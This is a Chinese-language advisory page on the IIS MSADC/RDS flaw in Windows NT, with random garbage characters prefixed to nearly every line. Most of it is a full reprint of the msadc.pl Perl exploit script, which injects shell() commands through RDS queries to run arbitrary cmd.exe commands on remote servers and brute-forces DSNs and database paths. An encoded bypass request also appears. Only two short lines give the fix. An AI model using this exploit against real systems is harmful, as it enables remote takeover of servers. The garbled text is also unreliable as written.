IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
fI} Z`* M= !Fb 涉及程序：
|RwpIe8~ Microsoft NT server
[oOZ6\?HB x!bFbi#!" 描述：
L*bUjR,C 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
V1Dwh @iS F.c`0u;= 详细：
Py\xN 如果你没有时间读详细内容的话，就删除:
G T#hqt'1x c:\Program Files\Common Files\System\Msadc\msadcs.dll
rz+G] J 有关的安全问题就没有了。
/s& xI %lz \w{ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
L~A"%T,/h "L.)ML 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
&H,5f # 关于利用ODBC远程漏洞的描述，请参看:
ntkTrei
] t
),~w,7(J http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm A/RHb^ N iZ#dS}VlJ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
z=<T[Uy http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3B/ GcltfM p%,:U8fOR 这里不再论述。
gbwKT`N*
S%uH*& ` 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Lx,"jA/ 0F=UZf& /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
aUSxy8% 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
JV(eHuw m9ts &b+TE _CAW D;P #将下面这段保存为txt文件，然后: "perl -x 文件名"
UBqA[9 OGg9e #!perl
so W. #
}$#e&&)n # MSADC/RDS 'usage' (aka exploit) script
?{%P9I #
(f5 !36mz # by rain.forest.puppy
i;lzFu )G #
im9 B=D # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&+ 6XdhX # beta test and find errors!
LW?] ~| %75|+((fC use Socket; use Getopt::Std;
*CA|}l getopts("e:vd:h:XR", \%args);
<M nz R GZ/.eYE print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>WE3$Q>bi fF[n?:VV if (!defined $args{h} && !defined $args{R}) {
+e <P7}ZQ print qq~
vi@a87w> Usage: msadc.pl -h <host> { -d <delay> -X -v }
{=IK(H -h <host> = host you want to scan (ip or domain)
#9EpQc[4 -d <seconds> = delay between calls, default 1 second
WRZ i^B8 @ -X = dump Index Server path table, if available
}|H]> U& -v = verbose
'e02rqip{ -e = external dictionary file for step 5
gg'lb{oG H&E c *MT Or a -R will resume a command session
T
n Ad! "p.MJxH ~; exit;}
d?WA}VFU rmUT l $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
XD{U 5.z>y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
X3(:)zUL if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,Bp\ i if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
* gr{ {c $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
X /lLM` if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
3m#v|52oj tS#EqMf&o if (!defined $args{R}){ $ret = &has_msadc;
gR.zL>=_5e die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}XaO~] .oH0yNFX print "Please type the NT commandline you want to run (cmd /c assumed):\n"
c 6}d{B[ . "cmd /c ";
\ :8~na+( $in=<STDIN>; chomp $in;
N/DcaHFYo $command="cmd /c " . $in ;
`"H!=` HC*=E .J if (defined $args{R}) {&load; exit;}
2al%J% N6cf `xye print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ylLQKdcL &try_btcustmr;
~;aSX1
vvv~n ]S6 print "\nStep 2: Trying to make our own DSN...";
j;<Yje&Wz &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
apF!@O^}y j*x8K,fN print "\nStep 3: Trying known DSNs...";
:HYqm*v ;W &known_dsn;
h/5n+*x( *;Dd:D9 print "\nStep 4: Trying known .mdbs...";
dI5Z*"`R9 &known_mdb;
kCL)F\v"iT 1}tZ,w> if (defined $args{e}){
w}G2m) ( print "\nStep 5: Trying dictionary of DSN names...";
:t? 9$ d L &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+ G"=1sxJ Z%D*2wm4 print "Sorry Charley...maybe next time?\n";
eU1= :n&&\ exit;
1B+MCt4 r*N:-I~z ##############################################################################
(BVLlOo?J Ht5 %fcD sub sendraw { # ripped and modded from whisker
Vg#s sleep($delay); # it's a DoS on the server! At least on mine...
|0U "#xkf my ($pstr)=@_;
-?!|W-}@G= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
+[UFf3(ON die("Socket problems\n");
SGZOfTcY if(connect(S,pack "SnA4x8",2,80,$target)){
VW <s_ select(S); $|=1;
{lT9gJ+ print $pstr; my @in=<S>;
<t,uj.9_ select(STDOUT); close(S);
gd]vrW'wj return @in;
)@Z J3l. } else { die("Can't connect...\n"); }}
}IC$Du# T [N :X0 ##############################################################################
W=j/2c/ j ?i Ur2 sub make_header { # make the HTTP request
;o ,t * my $msadc=<<EOT
d;|e7$F' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
%.r {+m User-Agent: ACTIVEDATA
p/: )Z_ Host: $ip
<^U B@'lCm Content-Length: $clen
"FT5]h Connection: Keep-Alive
;9q3Fu R @/lLL GrZ" ADCClientVersion:01.06
3P6pQm'.f Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
o$'Fz[U ge`)sB, --!ADM!ROX!YOUR!WORLD!
j1N1c~2 Content-Type: application/x-varg
3I^KJ/)A Content-Length: $reqlen
>Gk <[0U V`TXn[7 EOT
_{8f^@I"+ ; $msadc=~s/\n/\r\n/g;
$|C%G6!s?@ return $msadc;}
kWF4 k &O#a==F!( ##############################################################################
K? BWl:^x V,<,;d fR sub make_req { # make the RDS request
RecA?-0 my ($switch, $p1, $p2)=@_;
/&$'v:VB my $req=""; my $t1, $t2, $query, $dsn;
o B-&ma[ZS $G"PZ7 if ($switch==1){ # this is the btcustmr.mdb query
[zm&}$nnN $query="Select * from Customers where City=" . make_shell();
;8 JJ#ED $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Fla[YWS $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
#KXaz Zu" _0)#-L>xKF elsif ($switch==2){ # this is general make table query
Gs7mO $query="create table AZZ (B int, C varchar(10))";
i`gsT[JQRX $dsn="$p1";}
uwj/]#` ~4U[p 50 elsif ($switch==3){ # this is general exploit table query
uw
L T$ $query="select * from AZZ where C=" . make_shell();
s^^X.z , $dsn="$p1";}
:)c > 5 %bt2^ elsif ($switch==4){ # attempt to hork file info from index server
[NFg9y;{h $query="select path from scope()";
1#^[{XlAx $dsn="Provider=MSIDXS;";}
'P)xY-15 o2 W pi elsif ($switch==5){ # bad query
x]euNa $query="select";
zek\AQN $dsn="$p1";}
kNI m90,g elWN-~ $t1= make_unicode($query);
8q)2 )p $t2= make_unicode($dsn);
A~ '2ki5$g $req = "\x02\x00\x03\x00";
Q[i;I bY $req.= "\x08\x00" . pack ("S1", length($t1));
mppBc-#EYr $req.= "\x00\x00" . $t1 ;
BXa1 [7Z
$req.= "\x08\x00" . pack ("S1", length($t2));
{uM0J$P : $req.= "\x00\x00" . $t2 ;
Al3Hu-Hf;` $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Wv77ef return $req;}
K^J;iu 4 j~\\,fl= ##############################################################################
%;yo\ YJuaQxs sub make_shell { # this makes the shell() statement
|E53
[:p return "'|shell(\"$command\")|'";}
H5, { Z (8GJLs 8 ##############################################################################
@IB8(TZ5I _(
w4 \] sub make_unicode { # quick little function to convert to unicode
%s aTyF, my ($in)=@_; my $out;
KFA B for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
;)83tx
/ return $out;}
,<R/x[ Y;e@ `.( ##############################################################################
3 V8 SKBS )Si`>o3T-. sub rdo_success { # checks for RDO return success (this is kludge)
xE9^4-Px* my (@in) = @_; my $base=content_start(@in);
n-D r/c4 if($in[$base]=~/multipart\/mixed/){
,PJl32
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
i/C#fIB2 return 0;}
HjGT{o PgB=<#9 ##############################################################################
%T}{rU~X ^[&*B#( sub make_dsn { # this makes a DSN for us
?
@h my @drives=("c","d","e","f");
}=?r`J+Ev; print "\nMaking DSN: ";
36J)O-Ti foreach $drive (@drives) {
p&N w:S print "$drive: ";
& |9mM=^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0 v/+%%4} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
P M9HfQU? . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
3`^ ]#Dh $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
D Sd 5 ? return 0 if $2 eq "404"; # not found/doesn't exist
~`*:E'/5k] if($2 eq "200") {
#xYkG5`lm foreach $line (@results) {
/Klwh1E return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
GZI[qK DfB } return 0;}
8'^eH1d ' f,t[`0 va ##############################################################################
vFl| .IF d J sub verify_exists {
@m6pAo4P my ($page)=@_;
)I1LBvfQ my @results=sendraw("GET $page HTTP/1.0\n\n");
:w:5;cm V return $results[0];}
)byQ=-< 1 #n2GW^x ##############################################################################
{[r'+=}l\S O~' 1)k> sub try_btcustmr {
t:m
t9}$d my @drives=("c","d","e","f");
S:Yo9~ my @dirs=("winnt","winnt35","winnt351","win","windows");
>f`}CLsY K z$Ijj foreach $dir (@dirs) {
Plm3vk= print "$dir -> "; # fun status so you can see progress
bpUN8BI[T foreach $drive (@drives) {
o<V-gS print "$drive: "; # ditto
3 vr QY9H> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#GWQ]r? $reqlenlen=length( "$reqlen" );
jVfC 4M7 , $clen= 206 + $reqlenlen + $reqlen;
P-+ ^YN, L s|;gewp my @results=sendraw(make_header() . make_req(1,$drive,$dir));
nr s!e if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
>V;<K?5B`W else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
u6(7#n02 Bm~>w`1wK ##############################################################################
!my5-f>{( HnOF_ Twq sub odbc_error {
^e&,<+qY my (@in)=@_; my $base;
ef!I |.FW my $base = content_start(@in);
XZKOBq B] if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
W_iP/xL $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9F,jvCM63 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d%]7: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I"DV}jg6| return $in[$base+4].$in[$base+5].$in[$base+6];}
]'M4Un u#@ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
K32eZv`T7 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
EEkO[J[= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<D&75C# NugJjd56x ##############################################################################
y M\ 1n OW #pBeX99 sub verbose {
8nZPY)o my ($in)=@_;
dF FB\|e;0 return if !$verbose;
{p2 %4 print STDOUT "\n$in\n";}
d]@9k G !r[uw J= ##############################################################################
qa%g'sB-b Jwa2Y0 sub save {
= x[`W9.D my ($p1, $p2, $p3, $p4)=@_;
BF]b\ /I open(OUT, ">rds.save") || print "Problem saving parameters...\n";
cFH,fj print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Z/_RQ q
close OUT;}
X7n~Ws&s@ .@[+05Yw ##############################################################################
kM9E)uT>(< c\RDa|B, sub load {
I[F.M}5:z my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o9Agx{'oV open(IN,"<rds.save") || die("Couldn't open rds.save\n");
l'o'q7&=z @p=<IN>; close(IN);
3UH=wmG0w $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
q@^=im $target= inet_aton($ip) || die("inet_aton problems");
A4SM@ry print "Resuming to $ip ...";
cFu vi^n\ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
z{tyB if($p[1]==1) {
.|o7YTcR: $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
'zpj_QM $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
LrK6*y,z my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
`Th!bk if (rdo_success(@results)){print "Success!\n";}
|'a5n h! else { print "failed\n"; verbose(odbc_error(@results));}}
|yqx
] elsif ($p[1]==3){
J6f;dF^ if(run_query("$p[3]")){
;= _KLG < print "Success!\n";} else { print "failed\n"; }}
*8MU,6 elsif ($p[1]==4){
VT-&"Jn if(run_query($drvst . "$p[3]")){
0iHK1Pt} print "Success!\n"; } else { print "failed\n"; }}
;AHa|35 \ exit;}
M%6{A+( Z T|E1[Q ##############################################################################
@BBqH&<` }_ Jai4O sub create_table {
< FN[{YsA my ($in)=@_;
:~`E @`/ $reqlen=length( make_req(2,$in,"") ) - 28;
<.= $reqlenlen=length( "$reqlen" );
9 ft7 $clen= 206 + $reqlenlen + $reqlen;
JQ0KXS Nr my @results=sendraw(make_header() . make_req(2,$in,""));
<0Q`:'\.> return 1 if rdo_success(@results);
FIW*N r my $temp= odbc_error(@results); verbose($temp);
&@{ Ba~S return 1 if $temp=~/Table 'AZZ' already exists/;
8) M . W return 0;}
J *^|ojX c\-I+lMBi ##############################################################################
\O\onvEa _ H%ylAt1j sub known_dsn {
GyT{p#l # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
V4xZC\)Gk my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
b vUYLWzS "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
191O(H "banner", "banners", "ads", "ADCDemo", "ADCTest");
jJg
'Y:K9q w^P4_Yr[T foreach $dSn (@dsns) {
PcJ,Y\"[ print ".";
q.rn ZU next if (!is_access("DSN=$dSn"));
+tl THK if(create_table("DSN=$dSn")){
t;ggc{ print "$dSn successful\n";
hOw7"'# ! if(run_query("DSN=$dSn")){
hPhN7E03 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
py@5]n% print "Something's borked. Use verbose next time\n";}}} print "\n";}
MW`q*J`Yo ,AACE7%l ##############################################################################
FFP>Y*v( OTalR;:]r sub is_access {
J/ <[i rC my ($in)=@_;
.4.zy]I $reqlen=length( make_req(5,$in,"") ) - 28;
#;2Ju'e#z $reqlenlen=length( "$reqlen" );
"y>l2V,4j% $clen= 206 + $reqlenlen + $reqlen;
o;-)84Aa my @results=sendraw(make_header() . make_req(5,$in,""));
/_ _we[$E my $temp= odbc_error(@results);
I O|">a6 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
n T\ W| return 0;}
ezy0m}@ \
$z.x-U ##############################################################################
mu|#(u O`~T:N| D sub run_query {
^tae
(} my ($in)=@_;
Oh-HfJyi $reqlen=length( make_req(3,$in,"") ) - 28;
3 uhwoE $reqlenlen=length( "$reqlen" );
/]iv9e{uh( $clen= 206 + $reqlenlen + $reqlen;
(g4.bbEm my @results=sendraw(make_header() . make_req(3,$in,""));
j9%=8Dn.< return 1 if rdo_success(@results);
ZuILDevMD my $temp= odbc_error(@results); verbose($temp);
f;
>DM return 0;}
n%W~+ vU&gFEWg ##############################################################################
o= N= W v lOMB sub known_mdb {
FZb\VUmnV my @drives=("c","d","e","f","g");
'mG[#M/Y my @dirs=("winnt","winnt35","winnt351","win","windows");
j<wWPv my $dir, $drive, $mdb;
Yb 6(KT my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$w#C;2k]N D_(xhM # this is sparse, because I don't know of many
Kh'/Ne? my @sysmdbs=( "\\catroot\\icatalog.mdb",
,W7\AY07] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
l+y/ Mq^QB "\\system32\\certmdb.mdb",
+n9]c~g!T0 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Z/6B[,V uFL~^vz my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
* t{A=Wk "\\cfusion\\cfapps\\forums\\forums_.mdb",
\oLRNr[F "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[:T OU^ "\\cfusion\\cfapps\\security\\realm_.mdb",
#&5m=q$EI "\\cfusion\\cfapps\\security\\data\\realm.mdb",
{pE")O7~P "\\cfusion\\database\\cfexamples.mdb",
M($dh9 A_ "\\cfusion\\database\\cfsnippets.mdb",
N:\I]M "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
a[[u>oHyd "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
srO {Ci0 "\\cfusion\\brighttiger\\database\\cleam.mdb",
thl{IU "\\cfusion\\database\\smpolicy.mdb",
3RZP 12x "\\cfusion\\database\cypress.mdb",
_:?)2 NV "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
M
E4MZt: > "\\website\\cgi-win\\dbsample.mdb",
wQlK[F]!> "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?&pjP,a "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
?)'j;1_=E3 ); #these are just
Vq -!1 .v3 foreach $drive (@drives) {
o5 @
l !NQ foreach $dir (@dirs){
tB8X n O_c foreach $mdb (@sysmdbs) {
w91{''sK print ".";
t8E'd :pE if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
VfAIx]Fa print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
>-c ; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
u&9|9+"N print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
/}]X3ng } else { print "Something's borked. Use verbose next time\n"; }}}}}
,A h QA O}*[@uv/ foreach $drive (@drives) {
)PVX)2P_C foreach $mdb (@mdbs) {
=Bu d! print ".";
4?jXbC k~x if(create_table($drv . $drive . $dir . $mdb)){
r> eOq[z print "\n" . $drive . $dir . $mdb . " successful\n";
XTXRC$B if(run_query($drv . $drive . $dir . $mdb)){
*.8@ hPy print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
1b-4wonQd } else { print "Something's borked. Use verbose next time\n"; }}}}
g0 \c }
8Tyf#`'I .zAB)rNc
| ##############################################################################
/ 9/=] X48Q{E+ sub hork_idx {
t.v@\[{ - print "\nAttempting to dump Index Server tables...\n";
9 (dbou print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
oQBfDD0 $reqlen=length( make_req(4,"","") ) - 28;
J'sVT{@GS $reqlenlen=length( "$reqlen" );
-e3m!h $clen= 206 + $reqlenlen + $reqlen;
N0,.cd]y` my @results=sendraw2(make_header() . make_req(4,"",""));
hp/}Z"A= if (rdo_success(@results)){
_Y40a+hk] my $max=@results; my $c; my %d;
q*SX.A>YR for($c=19; $c<$max; $c++){
=1!wep" $results[$c]=~s/\x00//g;
s_y Y,Z: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-4m UGh1dy $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
\/p\ QT@mm $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Z,.*!S=?h $d{"$1$2"}="";}
O%AQ'[' foreach $c (keys %d){ print "$c\n"; }
nzmv>s&UW } else {print "Index server doesn't seem to be installed.\n"; }}
4Cr |]o' ~M6Q8Y9 ##############################################################################
$5 z
O=` '-p<E"#4Z sub dsn_dict {
@@9#od O open(IN, "<$args{e}") || die("Can't open external dictionary\n");
X!2/cgU7 while(<IN>){
MR=>Dc R $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
0%7c?3 # next if (!is_access("DSN=$dSn"));
^EdY:6NJ=A if(create_table("DSN=$dSn")){
IKb 7#Ut print "$dSn successful\n";
&]iX>m. if(run_query("DSN=$dSn")){
%,g6:Zc@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7Q7z6p/\v print "Something's borked. Use verbose next time\n";}}}
i|0H {q print "\n"; close(IN);}
n qg=I y+\nj3v6 ##############################################################################
ZMQSy7 M]oO1GM sub sendraw2 { # ripped and modded from whisker
:PuJF`k sleep($delay); # it's a DoS on the server! At least on mine...
WUkx v* my ($pstr)=@_;
UbE*x2N socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
c~[L ;_ die("Socket problems\n");
#lRkp.e if(connect(S,pack "SnA4x8",2,80,$target)){
Gt{~u^< print "Connected. Getting data";
7 [N1Vr(1 open(OUT,">raw.out"); my @in;
s" #> Xc select(S); $|=1; print $pstr;
' \Z54$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
lPFT)>(+@ close(OUT); select(STDOUT); close(S); return @in;
UaA6 } else { die("Can't connect...\n"); }}
SsiAyQ|Ma wyeiz7 ##############################################################################
vG` R. f5<qF ]Y/ sub content_start { # this will take in the server headers
C
vfm ,BL my (@in)=@_; my $c;
P#-Ye<V~J( for ($c=1;$c<500;$c++) {
=t\HtAXn[ if($in[$c] =~/^\x0d\x0a/){
D6@c& if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
6 6WAD$8$ else { return $c+1; }}}
`O ?61YUQH return -1;} # it should never get here actually
}D j W PB*m D7" ##############################################################################
NCbn<ojb gF,9Kv ~ sub funky {
?a+>%uWt my (@in)=@_; my $error=odbc_error(@in);
eS{lr 4-] if($error=~/ADO could not find the specified provider/){
a[bu{Z]% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
gBGUGjVj exit;}
Cg^=&1 | if($error=~/A Handler is required/){
^3 C8GzOsO print "\nServer has custom handler filters (they most likely are patched)\n";
o5)lTVQ~~ exit;}
=S7Xj` / if($error=~/specified Handler has denied Access/){
:^]rjy/|+ print "\nServer has custom handler filters (they most likely are patched)\n";
~fbFA?g3 exit;}}
H`|8x 4 ,\ [R\s ##############################################################################
Q{ 1Q w'+@ VgLrufJ sub has_msadc {
xsn2Qn/P my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
".Z |zt6C my $base=content_start(@results);
},zP,y:cH return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
#m [R1G# return 0;}
g.$a]pZz 8i"v7} ########################
<WhdQKFf- CR3<9=Lv> 9cQZ`Ex 解决方案：
?T]3I.3
2^ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
%X)w$}WH 2、移除web 目录: /msadc
